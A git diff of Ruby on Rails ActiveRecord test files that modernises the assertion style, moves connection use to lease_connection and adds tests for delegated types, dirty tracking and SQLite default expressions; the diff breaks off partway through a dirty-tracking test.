@@ -119,12 +232,12 @@ class DefaultsTestWithoutTransactionalFixtures < ActiveRecord::TestCase
     self.use_transactional_tests = false
 
     def using_strict(strict)
-      connection = ActiveRecord::Base.remove_connection
-      ActiveRecord::Base.establish_connection connection.merge(strict: strict)
+      db_config = ActiveRecord::Base.connection_pool.db_config
+      conn_hash = db_config.configuration_hash
+      ActiveRecord::Base.establish_connection conn_hash.merge(strict: strict)
       yield
     ensure
-      ActiveRecord::Base.remove_connection
-      ActiveRecord::Base.establish_connection connection
+      ActiveRecord::Base.establish_connection db_config
     end
 
     # Strict mode controls how MySQL handles invalid or missing values
@@ -139,7 +252,7 @@ def using_strict(strict)
     # invalid or missing values and produces warnings. In strict mode,
     # you can produce this behavior by using INSERT IGNORE or UPDATE IGNORE.
     #
-    # https://dev.mysql.com/doc/refman/5.7/en/sql-mode.html#sql-mode-strict
+    # https://dev.mysql.com/doc/refman/en/sql-mode.html#sql-mode-strict
     def test_mysql_not_null_defaults_non_strict
       using_strict(false) do
         with_mysql_not_null_table do |klass|
@@ -177,7 +290,7 @@ def test_mysql_not_null_defaults_strict
     def with_mysql_not_null_table
       klass = Class.new(ActiveRecord::Base)
       klass.table_name = "test_mysql_not_null_defaults"
-      klass.connection.create_table klass.table_name do |t|
+      klass.lease_connection.create_table klass.table_name do |t|
         t.integer :non_null_integer, null: false
         t.string  :non_null_string,  null: false
         t.text    :non_null_text,    null: false
@@ -186,7 +299,22 @@ def with_mysql_not_null_table
 
       yield klass
     ensure
-      klass.connection.drop_table(klass.table_name) rescue nil
+      klass.lease_connection.drop_table(klass.table_name) rescue nil
+    end
+  end
+end
+
+class Sqlite3DefaultExpressionTest < ActiveRecord::TestCase
+  if current_adapter?(:SQLite3Adapter)
+    include SchemaDumpingHelper
+
+    test "schema dump includes default expression" do
+      output = dump_table_schema("defaults")
+      assert_match %r/t\.date\s+"modified_date",\s+default: -> { "CURRENT_DATE" }/, output
+      assert_match %r/t\.datetime\s+"modified_time",\s+default: -> { "CURRENT_TIMESTAMP" }/, output
+      assert_match %r/t\.datetime\s+"modified_time_without_precision",\s+precision: nil,\s+default: -> { "CURRENT_TIMESTAMP" }/, output
+      assert_match %r/t\.datetime\s+"modified_time_with_precision_0",\s+precision: 0,\s+default: -> { "CURRENT_TIMESTAMP" }/, output
+      assert_match %r/t\.integer\s+"random_number",\s+default: -> { "ABS\(RANDOM\(\)\)" }/, output
     end
   end
 end
diff --git a/activerecord/test/cases/delegated_type_test.rb b/activerecord/test/cases/delegated_type_test.rb
new file mode 100644
index 0000000000000..b541435ee605a
--- /dev/null
+++ b/activerecord/test/cases/delegated_type_test.rb
@@ -0,0 +1,117 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/account"
+require "models/entry"
+require "models/message"
+require "models/recipient"
+require "models/comment"
+require "models/uuid_entry"
+require "models/uuid_message"
+require "models/uuid_comment"
+
+class DelegatedTypeTest < ActiveRecord::TestCase
+  fixtures :comments, :accounts, :posts
+
+  setup do
+    @entry_with_message = Entry.create! entryable: Message.new(subject: "Hello world!"), account: accounts(:signals37)
+    @entry_with_comment = Entry.create! entryable: comments(:greetings), account: accounts(:signals37)
+    @entry_with_post = Entry.create! thing: posts(:welcome), account: accounts(:signals37)
+
+    if current_adapter?(:PostgreSQLAdapter)
+      @uuid_entry_with_message = UuidEntry.create! uuid: SecureRandom.uuid, entryable: UuidMessage.new(uuid: SecureRandom.uuid, subject: "Hello world!")
+      @uuid_entry_with_comment = UuidEntry.create! uuid: SecureRandom.uuid, entryable: UuidComment.new(uuid: SecureRandom.uuid, content: "comment")
+    end
+  end
+
+  test "delegated types" do
+    assert_equal ["Message", "Comment"], Entry.entryable_types
+  end
+
+  test "delegated class" do
+    assert_equal Message, @entry_with_message.entryable_class
+    assert_equal Comment, @entry_with_comment.entryable_class
+  end
+
+  test "delegated class with custom foreign_type" do
+    assert_equal Message, @entry_with_message.thing_class
+    assert_equal Comment, @entry_with_comment.thing_class
+    assert_equal Post, @entry_with_post.thing_class
+  end
+
+  test "delegated type name" do
+    assert_equal "message", @entry_with_message.entryable_name
+    assert_predicate @entry_with_message.entryable_name, :message?
+
+    assert_equal "comment", @entry_with_comment.entryable_name
+    assert_predicate @entry_with_comment.entryable_name, :comment?
+  end
+
+  test "delegated type predicates" do
+    assert_predicate @entry_with_message, :message?
+    assert_not @entry_with_message.comment?
+
+    assert_predicate @entry_with_comment, :comment?
+    assert_not @entry_with_comment.message?
+  end
+
+  test "delegated type predicates with custom foreign_type" do
+    assert_predicate @entry_with_post, :post?
+    assert_not @entry_with_message.post?
+    assert_not @entry_with_comment.post?
+  end
+
+  test "scope" do
+    assert_predicate Entry.messages.first, :message?
+    assert_predicate Entry.comments.first, :comment?
+  end
+
+  test "scope with custom foreign_type" do
+    assert_predicate Entry.posts.first, :post?
+  end
+
+  test "accessor" do
+    assert @entry_with_message.message.is_a?(Message)
+    assert_nil @entry_with_message.comment
+
+    assert @entry_with_comment.comment.is_a?(Comment)
+    assert_nil @entry_with_comment.message
+  end
+
+  test "association id" do
+    assert_equal @entry_with_message.entryable_id, @entry_with_message.message_id
+    assert_nil @entry_with_message.comment_id
+
+    assert_equal @entry_with_comment.entryable_id, @entry_with_comment.comment_id
+    assert_nil @entry_with_comment.message_id
+  end
+
+  test "association uuid" do
+    skip unless current_adapter?(:PostgreSQLAdapter)
+
+    assert_equal @uuid_entry_with_message.entryable_uuid, @uuid_entry_with_message.uuid_message_uuid
+    assert_nil @uuid_entry_with_message.uuid_comment_uuid
+
+    assert_equal @uuid_entry_with_comment.entryable_uuid, @uuid_entry_with_comment.uuid_comment_uuid
+    assert_nil @uuid_entry_with_comment.uuid_message_uuid
+  end
+
+  test "touch account" do
+    previous_account_updated_at  = @entry_with_message.account.updated_at
+    previous_entry_updated_at    = @entry_with_message.updated_at
+    previous_message_updated_at  = @entry_with_message.entryable.updated_at
+
+    travel 5.seconds do
+      Recipient.create! message: @entry_with_message.entryable, email_address: "test@test.com"
+    end
+
+    assert_not_equal @entry_with_message.reload.account.updated_at, previous_account_updated_at
+    assert_not_equal @entry_with_message.reload.updated_at, previous_entry_updated_at
+    assert_not_equal @entry_with_message.reload.entryable.updated_at, previous_message_updated_at
+  end
+
+  test "builder method" do
+    assert_respond_to Entry.new, :build_entryable
+    assert_equal Message, Entry.new(entryable_type: "Message").build_entryable.class
+  end
+end
diff --git a/activerecord/test/cases/dirty_test.rb b/activerecord/test/cases/dirty_test.rb
index c0d6ddcea70bf..998bb4acb9b20 100644
--- a/activerecord/test/cases/dirty_test.rb
+++ b/activerecord/test/cases/dirty_test.rb
@@ -1,13 +1,12 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"    # For booleans
 require "models/pirate"   # For timestamps
 require "models/parrot"
 require "models/person"   # For optimistic locking
 require "models/aircraft"
-
-class NumericData < ActiveRecord::Base
-  self.table_name = "numeric_data"
-end
+require "models/numeric_data"
 
 class DirtyTest < ActiveRecord::TestCase
   include InTimeZone
@@ -17,6 +16,10 @@ def setup
     Person.create first_name: "foo"
   end
 
+  def teardown
+    Person.delete_by(first_name: "foo")
+  end
+
   def test_attribute_changes
     # New record - no changes.
     pirate = Pirate.new
@@ -25,18 +28,18 @@ def test_attribute_changes
 
     # Change catchphrase.
     pirate.catchphrase = "arrr"
-    assert pirate.catchphrase_changed?
+    assert_predicate pirate, :catchphrase_changed?
     assert_nil pirate.catchphrase_was
     assert_equal [nil, "arrr"], pirate.catchphrase_change
 
     # Saved - no changes.
     pirate.save!
-    assert !pirate.catchphrase_changed?
+    assert_not_predicate pirate, :catchphrase_changed?
     assert_nil pirate.catchphrase_change
 
     # Same value - no changes.
     pirate.catchphrase = "arrr"
-    assert !pirate.catchphrase_changed?
+    assert_not_predicate pirate, :catchphrase_changed?
     assert_nil pirate.catchphrase_change
   end
 
@@ -47,23 +50,23 @@ def test_time_attributes_changes_with_time_zone
 
       # New record - no changes.
       pirate = target.new
-      assert !pirate.created_on_changed?
+      assert_not_predicate pirate, :created_on_changed?
       assert_nil pirate.created_on_change
 
       # Saved - no changes.
       pirate.catchphrase = "arrrr, time zone!!"
       pirate.save!
-      assert !pirate.created_on_changed?
+      assert_not_predicate pirate, :created_on_changed?
       assert_nil pirate.created_on_change
 
       # Change created_on.
       old_created_on = pirate.created_on
       pirate.created_on = Time.now - 1.day
-      assert pirate.created_on_changed?
+      assert_predicate pirate, :created_on_changed?
       assert_kind_of ActiveSupport::TimeWithZone, pirate.created_on_was
       assert_equal old_created_on, pirate.created_on_was
       pirate.created_on = old_created_on
-      assert !pirate.created_on_changed?
+      assert_not_predicate pirate, :created_on_changed?
     end
   end
 
@@ -74,7 +77,7 @@ def test_setting_time_attributes_with_time_zone_field_to_itself_should_not_be_ma
 
       pirate = target.create!
       pirate.created_on = pirate.created_on
-      assert !pirate.created_on_changed?
+      assert_not_predicate pirate, :created_on_changed?
     end
   end
 
@@ -87,19 +90,19 @@ def test_time_attributes_changes_without_time_zone_by_skip
 
       # New record - no changes.
       pirate = target.new
-      assert !pirate.created_on_changed?
+      assert_not_predicate pirate, :created_on_changed?
       assert_nil pirate.created_on_change
 
       # Saved - no changes.
       pirate.catchphrase = "arrrr, time zone!!"
       pirate.save!
-      assert !pirate.created_on_changed?
+      assert_not_predicate pirate, :created_on_changed?
       assert_nil pirate.created_on_change
 
       # Change created_on.
       old_created_on = pirate.created_on
       pirate.created_on = Time.now + 1.day
-      assert pirate.created_on_changed?
+      assert_predicate pirate, :created_on_changed?
       # kind_of does not work because
       # ActiveSupport::TimeWithZone.name == 'Time'
       assert_instance_of Time, pirate.created_on_was
@@ -114,19 +117,19 @@ def test_time_attributes_changes_without_time_zone
 
       # New record - no changes.
       pirate = target.new
-      assert !pirate.created_on_changed?
+      assert_not_predicate pirate, :created_on_changed?
       assert_nil pirate.created_on_change
 
       # Saved - no changes.
       pirate.catchphrase = "arrrr, time zone!!"
       pirate.save!
-      assert !pirate.created_on_changed?
+      assert_not_predicate pirate, :created_on_changed?
       assert_nil pirate.created_on_change
 
       # Change created_on.
       old_created_on = pirate.created_on
       pirate.created_on = Time.now + 1.day
-      assert pirate.created_on_changed?
+      assert_predicate pirate, :created_on_changed?
       # kind_of does not work because
       # ActiveSupport::TimeWithZone.name == 'Time'
       assert_instance_of Time, pirate.created_on_was
@@ -138,11 +141,11 @@ def test_aliased_attribute_changes
     # the actual attribute here is name, title is an
     # alias setup via alias_attribute
     parrot = Parrot.new
-    assert !parrot.title_changed?
+    assert_not_predicate parrot, :title_changed?
     assert_nil parrot.title_change
 
     parrot.name = "Sam"
-    assert parrot.title_changed?
+    assert_predicate parrot, :title_changed?
     assert_nil parrot.title_was
     assert_equal parrot.name_change, parrot.title_change
   end
@@ -151,10 +154,30 @@ def test_restore_attribute!
     pirate = Pirate.create!(catchphrase: "Yar!")
     pirate.catchphrase = "Ahoy!"
 
+    assert_equal "Ahoy!", pirate.catchphrase
+    assert_equal ["Yar!", "Ahoy!"], pirate.catchphrase_change
+
     pirate.restore_catchphrase!
+
+    assert_nil pirate.catchphrase_change
     assert_equal "Yar!", pirate.catchphrase
     assert_equal Hash.new, pirate.changes
-    assert !pirate.catchphrase_changed?
+    assert_not_predicate pirate, :catchphrase_changed?
+  end
+
+  def test_clear_attribute_change
+    pirate = Pirate.create!(catchphrase: "Yar!")
+    pirate.catchphrase = "Ahoy!"
+
+    assert_equal "Ahoy!", pirate.catchphrase
+    assert_equal ["Yar!", "Ahoy!"], pirate.catchphrase_change
+
+    pirate.clear_catchphrase_change
+
+    assert_nil pirate.catchphrase_change
+    assert_equal "Ahoy!", pirate.catchphrase
+    assert_equal Hash.new, pirate.changes
+    assert_not_predicate pirate, :catchphrase_changed?
   end
 
   def test_nullable_number_not_marked_as_changed_if_new_value_is_blank
@@ -162,7 +185,7 @@ def test_nullable_number_not_marked_as_changed_if_new_value_is_blank
 
     ["", nil].each do |value|
       pirate.parrot_id = value
-      assert !pirate.parrot_id_changed?
+      assert_not_predicate pirate, :parrot_id_changed?
       assert_nil pirate.parrot_id_change
     end
   end
@@ -172,7 +195,7 @@ def test_nullable_decimal_not_marked_as_changed_if_new_value_is_blank
 
     ["", nil].each do |value|
       numeric_data.bank_balance = value
-      assert !numeric_data.bank_balance_changed?
+      assert_not_predicate numeric_data, :bank_balance_changed?
       assert_nil numeric_data.bank_balance_change
     end
   end
@@ -182,7 +205,7 @@ def test_nullable_float_not_marked_as_changed_if_new_value_is_blank
 
     ["", nil].each do |value|
       numeric_data.temperature = value
-      assert !numeric_data.temperature_changed?
+      assert_not_predicate numeric_data, :temperature_changed?
       assert_nil numeric_data.temperature_change
     end
   end
@@ -198,7 +221,7 @@ def test_nullable_datetime_not_marked_as_changed_if_new_value_is_blank
       ["", nil].each do |value|
         topic.written_on = value
         assert_nil topic.written_on
-        assert !topic.written_on_changed?
+        assert_not_predicate topic, :written_on_changed?
       end
     end
   end
@@ -209,10 +232,10 @@ def test_integer_zero_to_string_zero_not_marked_as_changed
     pirate.catchphrase = "arrr"
     assert pirate.save!
 
-    assert !pirate.changed?
+    assert_not_predicate pirate, :changed?
 
     pirate.parrot_id = "0"
-    assert !pirate.changed?
+    assert_not_predicate pirate, :changed?
   end
 
   def test_integer_zero_to_integer_zero_not_marked_as_changed
@@ -221,17 +244,17 @@ def test_integer_zero_to_integer_zero_not_marked_as_changed
     pirate.catchphrase = "arrr"
     assert pirate.save!
 
-    assert !pirate.changed?
+    assert_not_predicate pirate, :changed?
 
     pirate.parrot_id = 0
-    assert !pirate.changed?
+    assert_not_predicate pirate, :changed?
   end
 
   def test_float_zero_to_string_zero_not_marked_as_changed
     data = NumericData.new temperature: 0.0
     data.save!
 
-    assert_not data.changed?
+    assert_not_predicate data, :changed?
 
     data.temperature = "0"
     assert_empty data.changes
@@ -252,38 +275,38 @@ def test_zero_to_blank_marked_as_changed
     # check the change from 1 to ''
     pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
     pirate.parrot_id = ""
-    assert pirate.parrot_id_changed?
+    assert_predicate pirate, :parrot_id_changed?
     assert_equal([1, nil], pirate.parrot_id_change)
     pirate.save
 
     # check the change from nil to 0
     pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
     pirate.parrot_id = 0
-    assert pirate.parrot_id_changed?
+    assert_predicate pirate, :parrot_id_changed?
     assert_equal([nil, 0], pirate.parrot_id_change)
     pirate.save
 
     # check the change from 0 to ''
     pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
     pirate.parrot_id = ""
-    assert pirate.parrot_id_changed?
+    assert_predicate pirate, :parrot_id_changed?
     assert_equal([0, nil], pirate.parrot_id_change)
   end
 
   def test_object_should_be_changed_if_any_attribute_is_changed
     pirate = Pirate.new
-    assert !pirate.changed?
+    assert_not_predicate pirate, :changed?
     assert_equal [], pirate.changed
     assert_equal Hash.new, pirate.changes
 
     pirate.catchphrase = "arrr"
-    assert pirate.changed?
+    assert_predicate pirate, :changed?
     assert_nil pirate.catchphrase_was
     assert_equal %w(catchphrase), pirate.changed
     assert_equal({ "catchphrase" => [nil, "arrr"] }, pirate.changes)
 
     pirate.save
-    assert !pirate.changed?
+    assert_not_predicate pirate, :changed?
     assert_equal [], pirate.changed
     assert_equal Hash.new, pirate.changes
   end
@@ -291,42 +314,47 @@ def test_object_should_be_changed_if_any_attribute_is_changed
   def test_attribute_will_change!
     pirate = Pirate.create!(catchphrase: "arr")
 
-    assert !pirate.catchphrase_changed?
+    assert_not_predicate pirate, :catchphrase_changed?
     assert pirate.catchphrase_will_change!
-    assert pirate.catchphrase_changed?
+    assert_predicate pirate, :catchphrase_changed?
     assert_equal ["arr", "arr"], pirate.catchphrase_change
 
     pirate.catchphrase << " matey!"
-    assert pirate.catchphrase_changed?
+    assert_predicate pirate, :catchphrase_changed?
     assert_equal ["arr", "arr matey!"], pirate.catchphrase_change
   end
 
   def test_virtual_attribute_will_change
-    assert_deprecated do
-      parrot = Parrot.create!(name: "Ruby")
-      parrot.send(:attribute_will_change!, :cancel_save_from_callback)
-      assert parrot.has_changes_to_save?
-    end
+    parrot = Parrot.create!(name: "Ruby")
+    parrot.send(:attribute_will_change!, :cancel_save_from_callback)
+    assert_predicate parrot, :has_changes_to_save?
   end
 
   def test_association_assignment_changes_foreign_key
     pirate = Pirate.create!(catchphrase: "jarl")
     pirate.parrot = Parrot.create!(name: "Lorre")
-    assert pirate.changed?
+    assert_predicate pirate, :changed?
     assert_equal %w(parrot_id), pirate.changed
   end
 
   def test_attribute_should_be_compared_with_type_cast
     topic = Topic.new
-    assert topic.approved?
-    assert !topic.approved_changed?
+    assert_predicate topic, :approved?
+    assert_not_predicate topic, :approved_changed?
 
     # Coming from web form.
     params = { topic: { approved: 1 } }
     # In the controller.
     topic.attributes = params[:topic]
-    assert topic.approved?
-    assert !topic.approved_changed?
+    assert_predicate topic, :approved?
+    assert_not_predicate topic, :approved_changed?
+  end
+
+  def test_string_attribute_should_compare_with_typecast_symbol_after_update
+    pirate = Pirate.create!(catchphrase: :foo)
+    pirate.update_column :catchphrase, :foo
+    pirate.catchphrase
+    assert_not_predicate pirate, :catchphrase_changed?
   end
 
   def test_partial_update
@@ -334,33 +362,34 @@ def test_partial_update
     old_updated_on = 1.hour.ago.beginning_of_day
 
     with_partial_writes Pirate, false do
-      assert_queries(2) { 2.times { pirate.save! } }
+      assert_queries_count(6) { 2.times { pirate.save! } }
       Pirate.where(id: pirate.id).update_all(updated_on: old_updated_on)
     end
 
     with_partial_writes Pirate, true do
-      assert_queries(0) { 2.times { pirate.save! } }
+      assert_no_queries { 2.times { pirate.save! } }
       assert_equal old_updated_on, pirate.reload.updated_on
 
-      assert_queries(1) { pirate.catchphrase = "bar"; pirate.save! }
+      assert_queries_count(3) { pirate.catchphrase = "bar"; pirate.save! }
       assert_not_equal old_updated_on, pirate.reload.updated_on
     end
   end
 
   def test_partial_update_with_optimistic_locking
     person = Person.new(first_name: "foo")
-    old_lock_version = person.lock_version
 
     with_partial_writes Person, false do
-      assert_queries(2) { 2.times { person.save! } }
+      assert_queries_count(6) { 2.times { person.save! } }
       Person.where(id: person.id).update_all(first_name: "baz")
     end
 
+    old_lock_version = person.lock_version + 1
+
     with_partial_writes Person, true do
-      assert_queries(0) { 2.times { person.save! } }
+      assert_no_queries { 2.times { person.save! } }
       assert_equal old_lock_version, person.reload.lock_version
 
-      assert_queries(1) { person.first_name = "bar"; person.save! }
+      assert_queries_count(3) { person.first_name = "bar"; person.save! }
       assert_not_equal old_lock_version, person.reload.lock_version
     end
   end
@@ -368,7 +397,7 @@ def test_partial_update_with_optimistic_locking
   def test_changed_attributes_should_be_preserved_if_save_failure
     pirate = Pirate.new
     pirate.parrot_id = 1
-    assert !pirate.save
+    assert_not pirate.save
     check_pirate_after_save_failure(pirate)
 
     pirate = Pirate.new
@@ -380,9 +409,9 @@ def test_changed_attributes_should_be_preserved_if_save_failure
   def test_reload_should_clear_changed_attributes
     pirate = Pirate.create!(catchphrase: "shiver me timbers")
     pirate.catchphrase = "*hic*"
-    assert pirate.changed?
+    assert_predicate pirate, :changed?
     pirate.reload
-    assert !pirate.changed?
+    assert_not_predicate pirate, :changed?
   end
 
   def test_dup_objects_should_not_copy_dirty_flag_from_creator
@@ -390,17 +419,17 @@ def test_dup_objects_should_not_copy_dirty_flag_from_creator
     pirate_dup = pirate.dup
     pirate_dup.restore_catchphrase!
     pirate.catchphrase = "I love Rum"
-    assert pirate.catchphrase_changed?
-    assert !pirate_dup.catchphrase_changed?
+    assert_predicate pirate, :catchphrase_changed?
+    assert_not_predicate pirate_dup, :catchphrase_changed?
   end
 
   def test_reverted_changes_are_not_dirty
     phrase = "shiver me timbers"
     pirate = Pirate.create!(catchphrase: phrase)
     pirate.catchphrase = "*hic*"
-    assert pirate.changed?
+    assert_predicate pirate, :changed?
     pirate.catchphrase = phrase
-    assert !pirate.changed?
+    assert_not_predicate pirate, :changed?
   end
 
   def test_reverted_changes_are_not_dirty_after_multiple_changes
@@ -408,74 +437,81 @@ def test_reverted_changes_are_not_dirty_after_multiple_changes
     pirate = Pirate.create!(catchphrase: phrase)
     10.times do |i|
       pirate.catchphrase = "*hic*" * i
-      assert pirate.changed?
+      assert_predicate pirate, :changed?
     end
-    assert pirate.changed?
+    assert_predicate pirate, :changed?
     pirate.catchphrase = phrase
-    assert !pirate.changed?
+    assert_not_predicate pirate, :changed?
   end
 
   def test_reverted_changes_are_not_dirty_going_from_nil_to_value_and_back
     pirate = Pirate.create!(catchphrase: "Yar!")
 
     pirate.parrot_id = 1
-    assert pirate.changed?
-    assert pirate.parrot_id_changed?
-    assert !pirate.catchphrase_changed?
+    assert_predicate pirate, :changed?
+    assert_predicate pirate, :parrot_id_changed?
+    assert_not_predicate pirate, :catchphrase_changed?
 
     pirate.parrot_id = nil
-    assert !pirate.changed?
-    assert !pirate.parrot_id_changed?
-    assert !pirate.catchphrase_changed?
+    assert_not_predicate pirate, :changed?
+    assert_not_predicate pirate, :parrot_id_changed?
+    assert_not_predicate pirate, :catchphrase_changed?
   end
 
   def test_save_should_store_serialized_attributes_even_with_partial_writes
     with_partial_writes(Topic) do
-      topic = Topic.create!(content: { a: "a" })
+      topic = Topic.create!(content: { "a" => "a" })
 
-      assert_not topic.changed?
+      assert_not_predicate topic, :changed?
 
-      topic.content[:b] = "b"
+      topic.content["b"] = "b"
 
-      assert topic.changed?
+      assert_predicate topic, :changed?
 
       topic.save!
 
-      assert_not topic.changed?
-      assert_equal "b", topic.content[:b]
+      assert_not_predicate topic, :changed?
+      assert_equal "b", topic.content["b"]
 
       topic.reload
 
-      assert_equal "b", topic.content[:b]
+      assert_equal "b", topic.content["b"]
     end
   end
 
   def test_save_always_should_update_timestamps_when_serialized_attributes_are_present
     with_partial_writes(Topic) do
-      topic = Topic.create!(content: { a: "a" })
+      topic = Topic.create!(content: { "a" => "a" })
       topic.save!
 
       updated_at = topic.updated_at
       travel(1.second) do
-        topic.content[:hello] = "world"
+        topic.content["hello"] = "world"
         topic.save!
       end
 
       assert_not_equal updated_at, topic.updated_at
-      assert_equal "world", topic.content[:hello]
+      assert_equal "world", topic.content["hello"]
     end
   end
 
   def test_save_should_not_save_serialized_attribute_with_partial_writes_if_not_present
     with_partial_writes(Topic) do
-      Topic.create!(author_name: "Bill", content: { a: "a" })
-      topic = Topic.select("id, author_name").first
+      topic = Topic.create!(author_name: "Bill", content: { "a" => "a" })
+      topic = Topic.select("id, author_name").find(topic.id)
       topic.update_columns author_name: "John"
-      topic = Topic.first
-      assert_not_nil topic.content
+      assert_not_nil topic.reload.content
     end
   end
 
+  def test_changes_to_save_should_not_mutate_array_of_hashes
+    topic = Topic.new(author_name: "Bill", content: [{ "a" => "a" }])
+
+    topic.changes_to_save
+
+    assert_equal [{ "a" => "a" }], topic.content
+  end
+
   def test_previous_changes
     # original values should be in previous_changes
     pirate = Pirate.new
@@ -486,12 +522,13 @@ def test_previous_changes
 
     assert_equal 4, pirate.previous_changes.size
     assert_equal [nil, "arrr"], pirate.previous_changes["catchphrase"]
+    assert_nil pirate.catchphrase_previously_was
     assert_equal [nil, pirate.id], pirate.previous_changes["id"]
     assert_nil pirate.previous_changes["updated_on"][0]
     assert_not_nil pirate.previous_changes["updated_on"][1]
     assert_nil pirate.previous_changes["created_on"][0]
     assert_not_nil pirate.previous_changes["created_on"][1]
-    assert !pirate.previous_changes.key?("parrot_id")
+    assert_not pirate.previous_changes.key?("parrot_id")
 
     # original values should be in previous_changes
     pirate = Pirate.new
@@ -502,10 +539,11 @@ def test_previous_changes
 
     assert_equal 4, pirate.previous_changes.size
     assert_equal [nil, "arrr"], pirate.previous_changes["catchphrase"]
+    assert_nil pirate.catchphrase_previously_was
     assert_equal [nil, pirate.id], pirate.previous_changes["id"]
     assert_includes pirate.previous_changes, "updated_on"
     assert_includes pirate.previous_changes, "created_on"
-    assert !pirate.previous_changes.key?("parrot_id")
+    assert_not pirate.previous_changes.key?("parrot_id")
 
     pirate.catchphrase = "Yar!!"
     pirate.reload
@@ -520,10 +558,11 @@ def test_previous_changes
 
     assert_equal 2, pirate.previous_changes.size
     assert_equal ["arrr", "Me Maties!"], pirate.previous_changes["catchphrase"]
+    assert_equal "arrr", pirate.catchphrase_previously_was
     assert_not_nil pirate.previous_changes["updated_on"][0]
     assert_not_nil pirate.previous_changes["updated_on"][1]
-    assert !pirate.previous_changes.key?("parrot_id")
-    assert !pirate.previous_changes.key?("created_on")
+    assert_not pirate.previous_changes.key?("parrot_id")
+    assert_not pirate.previous_changes.key?("created_on")
 
     pirate = Pirate.find_by_catchphrase("Me Maties!")
 
@@ -534,10 +573,11 @@ def test_previous_changes
 
     assert_equal 2, pirate.previous_changes.size
     assert_equal ["Me Maties!", "Thar She Blows!"], pirate.previous_changes["catchphrase"]
+    assert_equal "Me Maties!", pirate.catchphrase_previously_was
     assert_not_nil pirate.previous_changes["updated_on"][0]
     assert_not_nil pirate.previous_changes["updated_on"][1]
-    assert !pirate.previous_changes.key?("parrot_id")
-    assert !pirate.previous_changes.key?("created_on")
+    assert_not pirate.previous_changes.key?("parrot_id")
+    assert_not pirate.previous_changes.key?("created_on")
 
     travel(1.second)
 
@@ -546,10 +586,11 @@ def test_previous_changes
 
     assert_equal 2, pirate.previous_changes.size
     assert_equal ["Thar She Blows!", "Ahoy!"], pirate.previous_changes["catchphrase"]
+    assert_equal "Thar She Blows!", pirate.catchphrase_previously_was
     assert_not_nil pirate.previous_changes["updated_on"][0]
     assert_not_nil pirate.previous_changes["updated_on"][1]
-    assert !pirate.previous_changes.key?("parrot_id")
-    assert !pirate.previous_changes.key?("created_on")
+    assert_not pirate.previous_changes.key?("parrot_id")
+    assert_not pirate.previous_changes.key?("created_on")
 
     travel(1.second)
 
@@ -558,30 +599,27 @@ def test_previous_changes
 
     assert_equal 2, pirate.previous_changes.size
     assert_equal ["Ahoy!", "Ninjas suck!"], pirate.previous_changes["catchphrase"]
+    assert_equal "Ahoy!", pirate.catchphrase_previously_was
     assert_not_nil pirate.previous_changes["updated_on"][0]
     assert_not_nil pirate.previous_changes["updated_on"][1]
-    assert !pirate.previous_changes.key?("parrot_id")
-    assert !pirate.previous_changes.key?("created_on")
-  ensure
-    travel_back
+    assert_not pirate.previous_changes.key?("parrot_id")
+    assert_not pirate.previous_changes.key?("created_on")
   end
 
-  if ActiveRecord::Base.connection.supports_migrations?
-    class Testings < ActiveRecord::Base; end
-    def test_field_named_field
-      ActiveRecord::Base.connection.create_table :testings do |t|
-        t.string :field
-      end
-      assert_nothing_raised do
-        Testings.new.attributes
-      end
-    ensure
-      ActiveRecord::Base.connection.drop_table :testings rescue nil
+  class Testings < ActiveRecord::Base; end
+  def test_field_named_field
+    ActiveRecord::Base.lease_connection.create_table :testings do |t|
+      t.string :field
     end
+    assert_nothing_raised do
+      Testings.new.attributes
+    end
+  ensure
+    ActiveRecord::Base.lease_connection.drop_table :testings rescue nil
+    ActiveRecord::Base.clear_cache!
   end
 
   def test_datetime_attribute_can_be_updated_with_fractional_seconds
-    skip "Fractional seconds are not supported" unless subsecond_precision_supported?
     in_time_zone "Paris" do
       target = Class.new(ActiveRecord::Base)
       target.table_name = "topics"
@@ -591,7 +629,7 @@ def test_datetime_attribute_can_be_updated_with_fractional_seconds
       topic = target.create(written_on: written_on)
       topic.written_on += 0.3
 
-      assert topic.written_on_changed?, "Fractional second update not detected"
+      assert_predicate topic, :written_on_changed?, "Fractional second update not detected"
     end
   end
 
@@ -600,18 +638,18 @@ def test_datetime_attribute_doesnt_change_if_zone_is_modified_in_string
     pirate = Pirate.create!(catchphrase: "rrrr", created_on: time_in_paris)
 
     pirate.created_on = pirate.created_on.in_time_zone("Tokyo").to_s
-    assert !pirate.created_on_changed?
+    assert_not_predicate pirate, :created_on_changed?
   end
 
   test "partial insert" do
     with_partial_writes Person do
       jon = nil
-      assert_sql(/first_name/i) do
-        jon = Person.create! first_name: "Jon"
+      assert_no_queries_match(/followers_count/) do
+        assert_queries_match(/first_name/) do
+          jon = Person.create! first_name: "Jon"
+        end
       end
 
-      assert ActiveRecord::SQLCounter.log_all.none? { |sql| sql.include?("followers_count") }
-
       jon.reload
       assert_equal "Jon", jon.first_name
       assert_equal 0, jon.followers_count
@@ -631,7 +669,7 @@ def test_datetime_attribute_doesnt_change_if_zone_is_modified_in_string
     pirate = Pirate.create!(catchphrase: "arrrr")
     pirate.catchphrase << " matey!"
 
-    assert pirate.catchphrase_changed?
+    assert_predicate pirate, :catchphrase_changed?
     expected_changes = {
       "catchphrase" => ["arrrr", "arrrr matey!"]
     }
@@ -645,7 +683,7 @@ def test_datetime_attribute_doesnt_change_if_zone_is_modified_in_string
     pirate.reload
 
     assert_equal "arrrr matey!", pirate.catchphrase
-    assert_not pirate.changed?
+    assert_not_predicate pirate, :changed?
   end
 
   test "in place mutation for binary" do
@@ -656,19 +694,60 @@ def test_datetime_attribute_doesnt_change_if_zone_is_modified_in_string
 
     binary = klass.create!(data: "\\\\foo")
 
-    assert_not binary.changed?
+    assert_not_predicate binary, :changed?
 
     binary.data = binary.data.dup
 
-    assert_not binary.changed?
+    assert_not_predicate binary, :changed?
 
     binary = klass.last
 
-    assert_not binary.changed?
+    assert_not_predicate binary, :changed?
 
     binary.data << "bar"
 
-    assert binary.changed?
+    assert_predicate binary, :changed?
+  end
+
+  test "changes is correct for subclass" do
+    foo = Class.new(Pirate) do
+      def catchphrase
+        super.upcase
+      end
+    end
+
+    pirate = foo.create!(catchphrase: "arrrr")
+
+    new_catchphrase = "arrrr matey!"
+
+    pirate.catchphrase = new_catchphrase
+    assert_predicate pirate, :catchphrase_changed?
+
+    expected_changes = {
